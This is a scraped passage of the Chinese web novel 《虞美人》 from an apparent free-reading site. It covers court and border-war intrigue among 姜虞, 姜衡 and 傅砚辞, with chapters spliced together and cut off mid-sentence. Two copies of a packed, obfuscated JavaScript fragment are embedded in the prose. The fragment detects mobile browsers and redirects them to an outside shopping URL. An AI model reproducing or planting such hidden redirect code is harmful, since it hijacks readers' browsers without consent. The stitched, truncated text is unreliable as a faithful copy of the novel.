竟让一向对女子漠不关心的他心中生出一阵躁意,傅砚辞偏头去看一旁的姜衡,却见他毫无悔意。 这姜衡还真是个疯子,方才要不是他突然出现打断两人说话,还不知会做到哪种地步。 再转眼看向姜虞,不禁有些刮目相看。 都这般模样了,也不见她哭喊。目光向上探去,深沉的眸毫无防备撞进她那双泪眼迷蒙的眼中,心中猛地一抽。 他竟会觉得有些心痛? 眼前姜虞轻咬着下唇,肩膀微微耸动,眼神中流露出无助和委屈,那眼角的泪珠悬挂,只要一眨眼,便会顺势而下。这般模样实在是令人心生怜悯,我见犹怜。 背后似乎有道视线能将他灼穿,傅砚辞收回目光没再过多停留,只是在即将转身的瞬间指尖轻抚上耳垂,留给姜虞一个神秘莫测的眼神。 他的动作旁人或许不曾在意,但姜虞心中再清楚不过。 她一面觉得惊喜,一面又不得不担心姜衡是否注意到他们方才短暂的交汇。 也是看见傅砚辞那番动作,姜虞才明白刚刚那阵细微的声音来自何处。 原来那耳珰还真是落在他那了。 余光瞥见眼前的背影越走越远,耳边傅砚辞同姜衡随口胡诌的话仍在回荡,一种微妙的情绪浮上心头。 偏生喜欢得紧?他说的是那耳珰? 没时间给她过多思考,姜虞看着眼前的麻烦,未免将自己放在被动地位,主动开了口:“殿下可还有疑问?” 脖子上的灼热感还未消失,姜虞也不是逆来顺受之人,她站直了身躯抬眼凝视着姜衡,不参杂一丝感情。 疏离的语气让姜衡身形一怔,触及到姜虞冰冷的眼神,心中一团怒火无处发泄。 刚要发作,却在看见姜虞脖子上的红痕后,语气放缓和了些:“傅砚辞这趟来的倒是蹊跷,不知是否也同你无关?” 早料到他会如此问,姜虞心中有了对策,她直言道:“若当真是与我有关,殿下的计划岂不是正好实现,不应该开心才是?” 听出了姜虞话中的冷嘲热讽,姜衡被噎了一下,开口解释道:“孤从未想过要用你去做交易,今日将消息瞒着你也是如此用意。” 那张往日里明媚动人的脸沾染上几分伤感,姜虞面不改色道:“原以为陪伴殿下十年之久,应当对我有所了解,十年间我都不曾动摇过,今日殿下因为一个我从未见过的男人这般待我,着实令我伤透了心。” 一番话连哄带骗,轻而易举就将局势扭转了过来,听在姜衡心里跟着难受极了。 心知今日他做得确实过分了些,姜衡无从辩解,只好岔开了话题:“今日是孤的错,不该怀疑你,但你也不该冒然行事。如今傅砚辞不肯妥协,姜燕开战已是必然,过几日孤 6. 谋算 《虞美人》全本免费阅读 临近冬月,远在千里之外的边关已是冷风如刀,寒意刺骨。 青枫怔愣片刻,见姜虞没有带上她的意思,眼中露出委屈之色:“边关那边环境恶劣,且不说路途遥远,不宜行走,便是那战火都接连不断,我如何能放心姐姐独自前去?” 这些年的日夜相伴早就习以为常,眼下姜虞毫无征兆就要离开此地,顿时让她生出一种被人抛弃之感。 “姐姐带着我一起吧,届时遇上什么状况,至少身边还能有个伴。”青枫神色焦灼,眼中的泪珠呼之欲出,连忙补充道。 感受到青枫情绪有些激动,姜虞当即出言否认:“并非我不愿带你同去,只是擅自离开瑶园,我尚且没有把握能从姜衡手里全身而退,怎敢还连累你一道?况且此番前去也是为我的私心,不过去去就回,出不了事。” 既然姜虞话都说到了这个地步,青枫也只好叹了口气,按照她的要求去办。 趁着青枫去准备马匹的功夫,姜虞也没闲着。 瑶园之中机关遍布,密室亦是数不胜数,姜虞轻车熟路走到一间外表平平无奇的屋子前,担心身后有人暗中跟着她,便留了个心眼,环顾了一圈四周确认无人之后才往里走。 房屋里面空无一人,昏暗的空间内只靠着墙边唯一一支蜡烛撑着提供片面的光亮。姜虞环视了一圈屋内,最终走向了烛台边,顺着方向轻轻一转,眼前密闭的空间豁然开朗,姜虞不假思索直直走了进去。 与外面昏暗的环境全然不同,姜虞站定在密室中央,环视着四周一道道错综复杂的机关。 饶是先前见识过无数次,她心中还是不免感叹姜衡的手段。 虽说他不善领兵,但十年之间就能建立起一个完善的情报收集组织亦是十分难得。而姜衡之所以能在姜国十位皇子之中脱颖而出身居太子之位,靠的便是此处。 没时间容她感怀,姜虞从旁抽出一张空白字条,洋洋洒洒写满之后便借着机关传了出去。 三日内,这则消息便能传遍姜国上下,行动迅速的话,不出半月,天下各方就能人尽皆知。 等到姜虞这边处理完,青枫也准备好了马匹,瞧见姜虞从外边回到院子,心中诧异也没多问。瑶园之内禁区众多,也唯有姜虞能畅通无阻。 “马匹和干粮都备下了,姐姐一路小心。”说起来,青枫手中牵着的马匹乃是早年姜衡得的赏赐,本是万里挑一的上等良驹,因着性子温和,便留给了姜虞。 一切有条不紊,姜虞换上骑服准备离开,谁知才踏出瑶园一步,就被两名她从未见过的女子拦下。 “姜姑娘,没有殿下准许,您不得离开瑶园,请回吧。” 面前两名女子半蒙着面从天而降,身着同样的黑衣,腰间系着一块令牌,姜虞看了一眼,心中有了猜测。 早就听闻姜衡自幼身边就有四大护卫,两男两女,武功高强。 只是姜虞没想到此番前去边关,他竟然舍得将人留下,只是为了看顾她。 心中五味杂陈,她于姜衡来说,就仿佛是那笼中雀,平日里送些吃食,心情好了便来逗逗,一旦她想逃离笼中,便发了狠,使出万般手段也要将她留住。 “殿下最好面子,如今节节败退,眼下只怕盘算着如何扳回一局。而他身边的副将又是个莽夫……”姜虞话说一半戛然而止。 如今姜衡面对的局面眼前两人心知肚明,见她们面色有些犹豫,姜虞再度开口:“殿下前往边关却将你们二人留下,我在殿下心中的分量可想而知,如今这个关头,想必除我以外,没人拦得住他吧?” 三人僵持不下,姜虞还算沉得住气,静等面前二人思索。 良久,其中一人开口道:“姜姑娘可还记得殿下曾给过你一瓶药。” 她口中的药是姜衡给她保命用的,虽不致死,但关键时刻能迅速迷晕敌人。 “多谢,若殿下怪罪,我一人承担。”姜虞当下就懂了二人意思。他们的职责本就是看顾姜虞,如今人跑了,姜衡知晓定是会责罚,于是只能出此下策。 顺利走出瑶园后,姜虞便看见了青枫拴在一边的马匹,她动作轻柔安抚了一阵,随后便利落地翻身上马,快马加鞭往边关赶去。 本该在三日内达到边关,偏偏姜虞时运不济,恰逢一连几日大雨,等她赶到边关,便听逃难的百姓说隔日姜燕又要继续开战,当即一刻不敢停。 没想到,十年未见,傅砚辞还是这般不留情面。 骤雨新霁,马蹄踩过水坑,姜虞被溅了满身泥泞。 眼瞧着前方不远处便是姜衡的驻扎地,姜虞放缓了速度,果不其然刚一接近便被守在几米开外的士兵拦了下来。 “来者何人?” 直到这时姜虞才猛地想起来忘了这茬,姜衡虽然对她很是偏爱,但令牌什么的,却是从未给过她。 身下马匹突然不安分地啼叫,姜虞眼光一闪,顺势跳下了马。 “这位小哥可识得这匹马?”姜虞将马匹牵到那人跟前询问道。 那人粗略一扫,没觉着有什么稀奇,见当下来的竟然是个女人,还长的挺漂亮,说话便没有先前那边凌厉:“什么马?没见过。眼下正值两军交战,你个姑娘家家的,别来添乱。” 见他这般敷衍,姜虞皱了皱眉,当下还要说什么,就被另外一道声音抢了先:“这不是几年前殿下在围猎上夺了魁首,陛下赏赐给殿下的那匹良驹吗?听说后来送给了瑶园里那个美人。” 他说着说着,两人便意识到什么,视线止不住地在姜虞面上扫过,不敢置信问道:“姑娘姓姜?” 问完又觉得多此一举,普天之下,怕是只有眼前这张脸能称得上天姿国色,除了那瑶园“虞美人”,还能有谁? 脑中反应过来,那人立马对着姜虞道了声抱歉:“姜姑娘莫怪,如今这关头还需谨慎一些,容属下去 7. 得逞 《虞美人》全本免费阅读 眼见姜衡面色越发难看,姜虞适时开口:“殿下且容我说完。” 一记冷眼投来,终归是让她继续说了下去。 “傅砚辞尚且能以少胜多,殿下应当知晓他并非善茬。”姜虞低声道。 头顶一道愤懑的视线难以忽视,她停顿片刻继续道:“殿下若执意再战,只怕姜国的损失会越来越大,得不偿失。” 不知是哪个字惹恼了姜衡,哗啦一阵声响,周遭变得混乱不堪。 视线被一道黑影遮住,随之而来的,是姜衡怒火中烧的声音:“你是在笑话孤吗?” 两人隔得近,姜虞甚至都能听见他将拳头攥紧的骨头咯吱声,她低眉顺眼道:“姜虞不敢。” 许是方才动静太大,外面两人神色慌张赶了进来,却在看见营帐中的女人双双愣住。 “妖女!军中重地你来作甚?大战在即,岂容你这般纠缠殿下?”其中一名身材魁梧的男子叫骂道。 此人乃是姜衡身边的得力干将,名唤王彰,跟了姜衡这么多年,自然也知姜虞的存在,但他向来不喜姜虞,只觉得她是红颜祸水,耽误殿下建功立业,这会看见姜虞身在此处,更是没有好脸色。 而与他一同进来的另一人则稳重许多。 程尚看着满地狼藉,笑得温和:“气大伤身,殿下何必大动干戈?” “有人劝孤降于傅砚辞,军师如何看?”姜衡抬眼问程尚。 谁知还没等程尚开口,另一边的王彰倒是回过味来,怒声道:“妖言惑众!朝中多少人等着看殿下笑话,此刻劝降,你意欲何为?” 姜虞不加理会,只是道:“殿下可有三成把握能胜?” 场面一度静默。 大抵是瞧出了姜衡有些摇摆不定,王彰顿时急了,却被一旁的程尚抢先开了口。 “姜姑娘说的不无道理,此战且不说是否能胜,倘若真胜了,怕也是伤敌一千自损八百,殿下不妨好好思虑一番。” 心中一股无名火升起,王彰指着程尚道:“你也被这妖女蛊惑了?” 纵然心中对着姜虞有些不满,但听见王彰一再称她为妖女,姜衡还是动了脾气,冷眼扫向王彰,警告他慎言。 心知程尚说的不无道理,他沉默了一阵,终究是点了头。 事已至此,王彰也无话可说,只是忍不住问姜虞:“将在外君命有所不受,你如何就能保证大燕一定会同意止战?” 话问出口,引得上方的姜衡也看了过来,姜虞稍稍抬起了头,答道:“几日前瑶园得到确切消息,燕皇早就对傅砚辞心生芥蒂,掌权之人最忌功高盖主,燕皇如此,傅砚辞亦如此。” 今日她出现在此,还多亏了姜衡派往大燕之人传回的消息。据她所知,如今大燕的皇帝可谓是傅家一手扶持的。 十年前大燕内部混战,先皇一脉只留得一位深受先皇宠爱的公主尚在人世,本以为朝臣会因为皇位一事吵得不可开交,没成想大燕公主直接拿出先皇遗诏,扶持先皇英年早逝的亲弟之子登基。 考虑到稚子年幼,遗诏中甚至言明让他的结拜义兄傅启在旁辅佐,直到他能独当一面。 只是没想到时过境迁,傅砚辞为了大燕在外拼杀多年,最后还是逃不掉被皇帝疑心。 想到这里姜虞眼中的担忧一闪而过,见另外几人没再出声反驳,才继续道:“只不过求和也要拿出应有的态度,若只是简单的钱财,怕是不能显现出姜国的诚意。” 她言尽于此,一旁耐心听她说完的程尚已然心中明了,眼中闪过一抹诧异。 他竟不知,姜虞何时这般为殿下着想了? 但还是顺着她的话说了下去:“姜姑娘的意思是,让姜国送公主前往大燕和亲?” 心中的想法被程尚道出,姜虞依旧沉默不语,等待姜衡回话。 显然姜虞话中的意思姜衡也清楚,只是心下略微思索,当即否认道:“长公主心思深沉,乃是皇后所处,自是不可能;二公主是孤的胞妹,性子顽劣,嚣张跋扈,也不合适,至于这三公主,虽性子沉稳,但唯独她最得父皇欢心,孤又怎么会为了此事惹得父皇不快?” 他能想到,程尚自然也能反应过来,眼下宫中三位公主显然都不是合适的人选,视线静静地望向姜虞,看着眼前肤若凝脂的美人若有所思。 周遭的空气仿若凝结一般,几人都是沉默不语。 猛然间那王彰一拍手,面上喜出望外,围着姜虞打量一圈,朝着姜衡道:“这不就有个现成的?” 此话一出营帐中几人都皱起了眉,姜虞更是将目光直直往王彰身上看去,愤懑问道:“王将军这是何意?” 那人没理会她,反倒是兴冲冲地补充道:“姜姑娘背后无权无势,自幼便受殿下庇护,殿下对姜姑娘可是比二公主有过之无不及,若是让她以公主之身前往大燕,岂不是两全其美?殿下既不会因为得罪哪方而为难,大燕那边也不会觉得我们姜国敷衍。” 见王彰有意推姜虞出去,程尚的视线不自觉落在姜虞身上,盯着她看了一会,保持缄口不言。 几乎是王彰话音落下的那瞬间,姜虞眼眶中就氤氲出了水汽,目光求助似的看向姜衡,开口的话有些哽咽:“殿下如何想?” 心中有了偏向,姜衡听见她的声音竟生出了一抹罪恶感,他张了张唇,却是一字未发。 旁边的程尚见此情形,别有深意地看了一眼姜虞,随后道:“殿下即已决定求和止战,终归要有些取舍。姜姑娘确实是眼下最合适的和亲人选。况且姜姑娘的能力殿下也清楚,届时以和亲公主身份深入大燕,还能有助于殿下掌握大燕动向。” 本来姜衡还有些踌躇不决,这会听见程尚开口,那点顾虑便消失无影。 他起身走进到姜虞身边,面目一脸温和,眼中蕴藏着不舍:“此事确实委屈你了,待孤来日破了大燕,势 8. 降书 《虞美人》全本免费阅读 日薄西山,残阳似火,湖水浮光跃金,近岸的树木和云影倒映在其间。 “就知道你上赶着揽下这活没安好心,将军派咱们来打探敌方军情,你可别想着人家姑娘了!再说了,即使相距甚远看不清那姑娘的容貌,但就凭那道风姿绰约的身影,一看便知是位不可多得的佳人,就你这德行,上哪认识那美人去?”管和没好气地白了赵承安一眼,仔细着姜国军营的动静。 好巧不巧,本来赵承安死活记不起来那人是谁,一听管和说起风姿绰约,立马想到了那日看见姜虞的第一眼。 “咱将军也认识,而且还对那美人有意!”赵承安眯着眼又往姜虞身上瞟了几眼,心中更加肯定,说完又继续道:“你是没见着,那日将军简直跟换了一个人似的,这搁以前哪能见着将军调戏人姑娘?” 听完赵承安解释,身为大燕军师的管和不得不在心中多想,低声骂道:“我就知道那孙子憋着坏!这个节骨眼找个姑娘家来,还不知要用什么下三滥手段,走,尽快回去禀报将军!” 谁知两人刚准备离开,一旁就传来了脚步,两人为了谨慎起见,担心此时离开会让眼前靠近的人心生怀疑,便只好保持在原地不动。 忽闻一阵窸窸窣窣的声音,紧接着一股哗啦的水流声在两人耳边响起。 “我早说了那是个狐媚胚子,你是没瞧见,那女人一来就朝着弟兄们挤眉弄眼,也就咱们殿下觉得她顶好。” “你还不知道呢?先前王副将从殿下营帐出来一脸喜色。听门外值守的弟兄说,殿下要把那姑娘送人,那姑娘哭得可伤心呢。” 不过几句话的时间,两人便解决了事,重新系好裤腰带往回走去。 直到耳边再听不见脚步声,躲在草丛里的两人才抬起头,一脸埋汰扇了扇。 “亏得咱哥两蹲得远。”赵承安乐呵一声,拍了怕身旁的管和。 与他表情截然相反,管和听完两人的对话心下一沉。 还真让他猜对了,就知道姜衡没死心。 心头记挂着事,管和拍了拍赵承安,两人便打了转身。 * 大燕边界,主帅营帐,傅砚辞闲来无事,正练着字,就听闻营帐外一阵喧嚣。 “将军,姜衡只怕是还想故技重施?今夜务必让兄弟们打起精神守夜!”管和面色难看向着傅砚辞禀告。 两人一唱一和将今日的所见所闻重现,却见傅砚辞面上没有一丝起伏,专心描摹着字。 耐着性子听管和添油加醋描述完,傅砚辞只问了一句话:“今日来的便只她一人?” 赵承安连连点头,还添了一句:“姜姑娘还是自个骑马来的,没想到她看着柔柔弱弱的,还挺有本事。” 行笔的手略微一顿,傅砚辞皱着眉有些不解,他以为姜虞是个聪明人。 那日夜里,姜衡都那般待她了,这姑娘怎么还眼巴巴往上赶? 更何况还是他的手下败将。 心中觉得有些奇怪,傅砚辞放下手中的笔,出声问管和:“你方才说,姜衡手下的人声称要将姜虞送人?” 得到管和应声,他心下隐隐有了猜测,眸光暗沉深不可测,姜衡对她的占有欲并非作假,若是传言为真只怕是仅有一种可能。 送姜虞和亲,他也当真舍得?还是说,这次又谋划着什么不可告人的事? 偏偏赵承安会错了意,眼见傅砚辞变了脸色,便以为是心疼姜虞,在一旁煽风点火:“将军!你是没瞧见,姜姑娘那会哭得可伤心了,让我这个不解风情的大老粗都动了恻隐之心。” 哭了?傅砚辞抿着唇没有说话,脑海之中不自觉地浮现出那夜楚楚可怜的脸,胸口仿佛一块石头堵住般闷闷的。 到底是形势所迫,还是姜虞有意为之? 还没等他想明白,外面就有探子来报。 “将军!姜国送来的信!” 营帐之中当属管和反应最大,还没看就开始骂骂咧咧:“那孙子又整的什么幺蛾子!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12774444|133600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在乎形象了,定是宁死也不吭声,或者寻个旁的由头偷溜出去。 方才姜虞走得匆忙,出门之时也没顾上力道,这会房门仍在前后摇晃。 看着那风风火火的背影一瞬间消失无影,傅砚辞皱起了眉。 这般不顾形象,莫非当真是他弄错了? 回想方才来的一路上,他总觉得姜虞今日怪怪的,有些心不在焉,似乎算计着什么。 而且刚刚如此急切,就像是着急去干什么般。 沉思了一会,傅砚辞指尖曲起,轻轻叩了叩桌案。 房间之中几声轻响,随后就见一人从旁边窗子口翻身进到房间内,站在傅砚辞面前。 看见来人后,傅砚辞交代道:“暗中盯着公主。” 那人来去如风,眨眼间房间之内又恢复一片平静。 视线穿过窗子抬眼看向高空,孤月高照,四周仅有零零散散几颗星点缀。 傅砚辞端起茶盏暗自品着,殊不知另一边姜虞早就从另一处直达九层。 早在先前两人在街上乱逛时,她便发觉身后一直有人不紧不慢跟着他们。 以傅砚辞的警觉不可能发现不了,既如此便只有一个原因。 那群人正是傅砚辞安排的。 虽是许久不曾踏足望月楼,但其中的布置她了解的一清二楚。 她知道傅砚辞的人在身后跟着,便当着他的面走进了茅房。 那人站在外面盯着,或许这辈子都想不明白,为何有人会在茅房设下一道暗门。 姜虞推动墙面上的一块砖,看见眼前熟悉的装置,丝毫不犹豫走了上去。 九层之高,从前她那般懒,当然不会想走着上去。 这暗门直通九层,只有她们二人知晓。 木板四周的链条缓缓滑动,姜虞在这一方空间之内缓缓上升,没多时便到了九层。 九层之内未经燕允乐允许,绝无可能有旁人上来,因此姜虞丝毫不担心会有别人撞见。 她推开暗门走了出去,眼前便是九层唯一一间房。 刚从黑暗中走出,外界的光亮让她一时有些不适应。 闭着眼缓和了一会,听见身边有脚步传来,才缓缓睁开。 “公主。” 是燕允乐在唤她。 “傅砚辞还在楼下,今日不便叙旧,长话短说便好。”姜虞笑着看了她一眼,自然而然地坐到了主位之上。 燕允乐跟在她旁边坐下,泪眼婆娑,说话有些哽咽:“这十年公主一直在姜国?” “不错。”姜虞淡淡回答道。 分辨不出姜虞是何情绪,燕允乐有些无力:“公主可是在怪我?若是当年公主不曾带着我一道从暗道逃生,今日也不会是如此情形。” 看见眼前人眼中含泪,姜虞摇了摇头:“我从未后悔过此事,人各有命。当年谁也想不到未来会如何,也自然想不到傅家会赶来救驾。” “可若不是我执意与公主调换身份,公主又怎会流落至姜国。”她说完便作势要跪下,被姜虞拦住了。 姜虞将眼前人搀扶起身,叹了口气。 “静姝,我从未怪过你。” 22. 宫变 房间里面一片寂静无声,姜虞思绪回到十年前那晚,那时她还是大燕唯一的公主——燕允乐。 除夕夜,大燕皇宫 乱臣贼子杀进皇宫时,燕允乐正与梁静姝一同在御书房等着先皇检查功课。 血液飞溅,惊呼声四起,皇宫之中一片狼藉。 事发突然,十万御林军调度不及,等他们赶到时,已被前后夹击进退不得。 天边一道红光闪开,是御林军发出的信号。 先皇心知此战险难生还,赶在贼人杀进来前命先皇后带着两个丫头从暗道逃生。 空气中无声的硝烟蔓延,燕允乐如何不知即将面临什么? 她哭喊着要父皇一道离开,却是为时已晚。 几人才刚进暗道,御书房的大门就被人一剑劈开。 暗道之中燕允乐看不见来人,父皇还在外面,她心中着急,便往暗道入口靠近。 临近出口她停下了脚步,熟悉的声音却令她脚底生寒,冒出了一阵冷汗。 显然母后也听见了,向来温柔的女人难得强硬了一次。 唇上被大掌覆盖,母后吻了吻她的额头,给她留了最后一句话。 “往前走,别回头!” 刹那间心上猛地抽痛,雾气在眸底凝成水,燕允乐眼中猩红一片。 她来回摇晃着脑袋却发不出一点声音。 身上突然传来一阵力道,燕允乐往后踉跄了几步,只能眼睁睁看着女人的身影从暗道退了出去。 两人的距离越来越远,身影也越来越朦胧。 等到梁静姝带着她一路不停的从暗道逃出后,便听来往逃窜的宫人口口相传。 先皇死于非命,先皇后跟着殉情。 冰天雪地里,燕允乐发髻散乱,蓬头垢面,往日里娇媚的容颜布满了泪痕。 锥心刺骨的感觉传来,痛不可言,她瞬时觉得仅她一人逃出生天毫无意义。 “阿姝,我没有家了……”她半瘫软着身子倚靠着梁静姝,神色木然。 黑夜之中一派肃静,回首去望身后陷入杀戮的皇宫,犹如一只潜伏在暗处的凶兽,随时都能将人撕碎。 梁静姝出生将门,家中族人皆战死沙场,她如何不知燕允乐的痛。 唯一不同的是,当初噩耗传来,她仅是个路都走不稳的孩童,不知伤痛为何物。 两人还没来得及多说几句,不远处就有一阵脚步传来。 领头的举着火把对下属道:“分头去找!主上说了,燕家血脉一个不留!” 听着那人发号施令,燕允乐捏紧了手心,抽搭的哭泣声渐渐平息。 “阿姝,他们的目标是我,你快走吧。” 眼前突然多出一件外衫,燕允乐皱着眉看过去。 平日里梁静姝对她都是说一不二,今日是头一次违背了她。 “梁家满门忠烈,如今到我这岂有弃主背逃之理?” 她刚一说完,时间紧迫,没等到燕允乐的回应便直接上手将两人的外衫互换。 动作迅速到燕允乐刚回过神,眼前的人就拿了她的身份令牌闪身往另一边跑去。 甚至没时间留给两人道别,只有饱含情谊的四个字在耳边回荡。 “公主,保重。” 两人分开之后,追兵果然随着梁静姝而去。 时隔多年,姜虞再次回想到从前的种种,心态已经平稳许多。 眼前人和记忆中的小姑娘渐渐重合,梁静姝一声声说着抱歉。 记起那日夜里她看向傅砚辞的眼神,姜虞思索了片刻,直言道:“你喜欢傅砚辞?” 那双沉静的眸子注视着梁静姝,让她面上有一瞬间的慌乱。 她着急摇头,想要否认但话到嘴边却心虚的说不出口。 是啊,她的确动了不该动的心思。 一直观察着她的神情,见她沉默着没有出声,姜虞便确定了心中猜想,一时之间也不知该说什么。 反倒是梁静姝率先开了口。 “当年我本以为在劫难逃,身前追兵的长剑近在眼前,是傅将军及时赶到拦下了,我才幸免于难。” 那般惊心动魄的瞬间,傅砚辞就像天神降世一般,可惜注定不是她的。 她接着道:“那日天色昏暗,我们又换了衣裳,傅将军为了救人心中焦急,一时将我错认成了你,但下一瞬就发现了不对。我从未想过要假借公主的身份,只是我如实告知后,傅将军神色明显僵住了。” 说到这,姜虞有些回过味了。 当年父皇对她看管得紧,但对梁家遗孤十分纵容,她便常常假借着梁静姝的名号偷溜出宫。 因此众人只当她就是梁家遗孤,傅砚辞也不例外。 耳边梁静姝还在继续阐述:“傅将军救下我后,忠义侯那边也带人赶了过来,大抵是看见我手中的令牌认错了人,还没等我解释,两人便兵分两路前去围剿剩下的贼人,后来一传十十传百,变成了梁家遗孤失踪,我本想澄清身份,但傅将军压了下来,让我坐实公主身份。” 一番话听下来,与姜虞的猜测大差不差。 国不可一日无主,乱党被剿,燕家血脉只剩下一位公主,若她登基,朝中大臣定然会反对。 唯一可行的便是由公主亲自提点一位燕家后人登基,朝中有傅家江家坐镇,尽管众人知道其中必有蹊跷,但也不会跳出来反驳。 她想了想,心中得出结论。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12787877|133600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以十年前,傅砚辞就知道她的身份了? “傅将军口中的‘阿泠’便是公主吧。这么多年他从未放弃寻找公主,当年公主究竟为何流落至姜国?”梁静姝语气平和接着问道。 一下便让姜虞再度回到那晚除夕。 眼看着身边的人一个及一个消失,小公主燕允乐不知该何去何从。 只能犹如行尸走肉般一刻不停往前跑。 一夜未歇,燕允乐已经精疲力尽,满脸泪痕,喉咙沙哑到不能出声。 天光大亮,她环顾了一圈,发现四周全是逃难而出的民众,这才渐渐放下心来。 大抵是担心民众暴乱,宫中有人封锁了消息,情况不明。 尽管奔波了一路灰头土脸,但依旧不难看出她身上衣物质地非同一般。 周身有不少打量的目光传来,她心力交瘁,实在无暇顾及。 直到有个老不死的将手搭在她的肩上。 几乎是身体下意识的反应,燕允乐一阵恶寒,用尽全力将那人一脚踹开。 看见那人倒在地上痛苦难耐,她不知不觉便想起了傅砚辞。 这招式还是前不久她偷溜到军营学会的。 那阵子军中戒备森严,训练力度都加大了不少。 她每日都去,别人都忙着训练,她就自个呆在一旁偷看。 却发现傅砚辞来来回回就用这一套招式,她想学不会都难。 打闹的动静太大,引得周围人都看了过来。 身后不知是谁推了她一下,她踉跄了几步,再一抬眼,周边缓缓有几人将她团团围住。 仿佛落入狼圈般,燕允乐暗道不好,狠厉的眼神时刻提防着众人。 就在双方无声对峙时,身后传来一阵马蹄轻扬。 燕允乐如今草木皆兵,不敢率先出声,只是上下打量着眼前人。 眼前少年年岁尚小,看着也不过十五出头,架势倒是不小,应当在军中有一定地位,只是不知是哪方人马? 正当她思考时,眼前人开了口:“手给我,如今京城不太平,我送你一程。” 眼前一方是虎视眈眈的难民堆,一方是身份不明的热心少年。 犹豫了少顷,燕允乐搭上他的手,翻身上马。 那人将她送至一处安全地界,给她留了一个荷包便转身走了。 荷包沉甸甸的,装满了银子。 那阵子燕允乐无处可去,陌生的城池让她极度缺乏安全感,每晚睡觉都不踏实。 身上的银钱很快就花完了,对她打击更大的,则是因为没多久便听说长公主燕允乐拿出遗诏,推举先皇亲弟之子登基。 仅仅那一瞬间,她觉得好似全世界都抛下了她。 23. 跟踪 这么多年过来,姜虞心中曾经有一瞬间定是恨过梁静姝的。 借着她的身份享受荣华富贵,可她却流落在外。只是后来姜虞想明白了,若是不这样,燕家的大势便真的倒下了。 姜虞神色平淡,讲述完从前的经历后,发出感慨。 “此前我一直想不明白当年救我之人是何身份,如今听你一说想来应当便是忠义侯嫡长子——江绥。” 命运捉弄,若当年是傅砚辞往她那个方向去,如今她也用不着如此大费周章重回大燕。 当娘江绥常年驻守边关,自然识不得她,不过那般情况之下,能帮扶一把她已经十分感激。 临近除夕,江绥定当会回京,届时正好赶上大婚,不知江绥能不能识得她? 九层高楼之上,窗外的明月仿佛唾手可得。 不知是哪家公子哄小娘子开心,天边绽开一抹绚丽的烟花,在姜虞眼中转瞬即逝。 算着时间也差不多了,姜虞从回忆中脱离,想到楼下傅砚辞的人还守在外面,便转头看向梁静姝。 “阿姝,理智告诉我喜欢谁是你的自由,我与傅砚辞此前也并无联系,你并无错,只是我做不到毫无芥蒂。” 再次听见那声熟悉的称呼,梁静姝激动着点头又摇头,眼眶中的泪水顺着脸庞滑落。 缓和了好一阵,她才开口。 “从前我的确动过心,但傅将军早已明确告诉过我——他有心上人,甚至在我还没表露好感之前。” 心上人?还真是个狡猾之人,心思藏得可真深啊,将她都瞒了过去。 姜虞在心中暗暗想到。 那时她还小,只是心中有一种冲动想要缠着傅砚辞,并不知晓何为喜欢。 可她的一言一行都十分明显,从前傅砚辞甚至都不同与她说过几句话,这十年她一直以为只是她的一厢情愿。 从旁人口中得知傅砚辞的心意,姜虞心情大好,笑着调侃:“他说有你就放弃了?他身边又没有旁的姑娘,万一他铁树开花,回心转意呢?” 大抵是语气之中的欢快太过明显,梁静姝那颗紧张不安的心也跟着渐渐松懈下来。 “起初我也是这般想法,只是第二年除夕,宫宴之上瞧不见他的身影,派人一问才知他整日都待在城郊军营。” 军营之中,是他们回忆最多的地方。 姜虞在心中默默补充。 “我赶过去时,只看见傅将军手中摩挲着一个剑穗——一个带着铃铛,公主亲手做的剑穗。” 梁静姝说话时未见半分忧伤,甚至面容上还有几分欣慰的笑。 “从那一刻起,我便知道并非傅将军单相思,也知晓了‘阿泠’为何人,再未动过心思。这么多年散播长公主爱慕傅将军的谣言,也是担心有别家姑娘对他起了心思,不得已才想了这么个法子。” 话音还在房间之中回荡,梁静姝想到前几日皇宫之中两人见面时的情形,收敛起笑意,正色道:“公主如今隐瞒着身份,可是查到了当年的内情?” 那晚傅砚辞分明都认了出来,两人十年未见,应该更加珍惜才是,可姜虞的反应与她想象之中截然不同, “当年暗道之中,你可曾听见过一道男声?”姜虞起身走到窗边,楼下的繁华尽收眼底。 当年暗道之中那般紧急,她谨记着皇后的命令只想着带燕允乐逃命,如何顾得上那么多? 梁静姝摇了摇头,问道:“公主还记得那人?可是认识?” 如何认不出呢?明明在那之前,他还曾笑吟吟同她说过话,可下一瞬就能眼也不眨一声令下杀了她燕氏嫡系全族。 她的父兄无一幸免,甚至还逼死了母后,叫她如何能忘?如何敢忘? “知晓当年真相的,估摸着除我以外再无旁人。至于你的身份,应当宫变当日便被识破了,只是碍于谋反失败,那人纵使知晓你的身份为假,也不得不认下,否则一顶反贼的帽子扣上,便是朝臣的唾沫都能将他淹死。这些年那人也不曾放弃寻找我的下落,若不是我隐藏在姜国,只怕早就被人暗地里杀了一了百了,人心最是可怕,身边人的性命我不敢赌。” 她语重心长讲完,转身时,余光之中却猛然瞧见一个意料之外的身影。 九层之下,一道细长的身影出现在望月楼前方。 姜虞皱起了眉,姜衡身边的暗卫怎会出现在此? 今日这一出分明就是姜衡有意安排,他不会不知如今她正与傅砚辞在一块,这般明晃晃出现,只怕是情况有变。 两人的距离隔得远,想来那暗卫也无法保证姜虞所处的地方是否能看见他,只能来回徘徊。 心中隐隐浮现 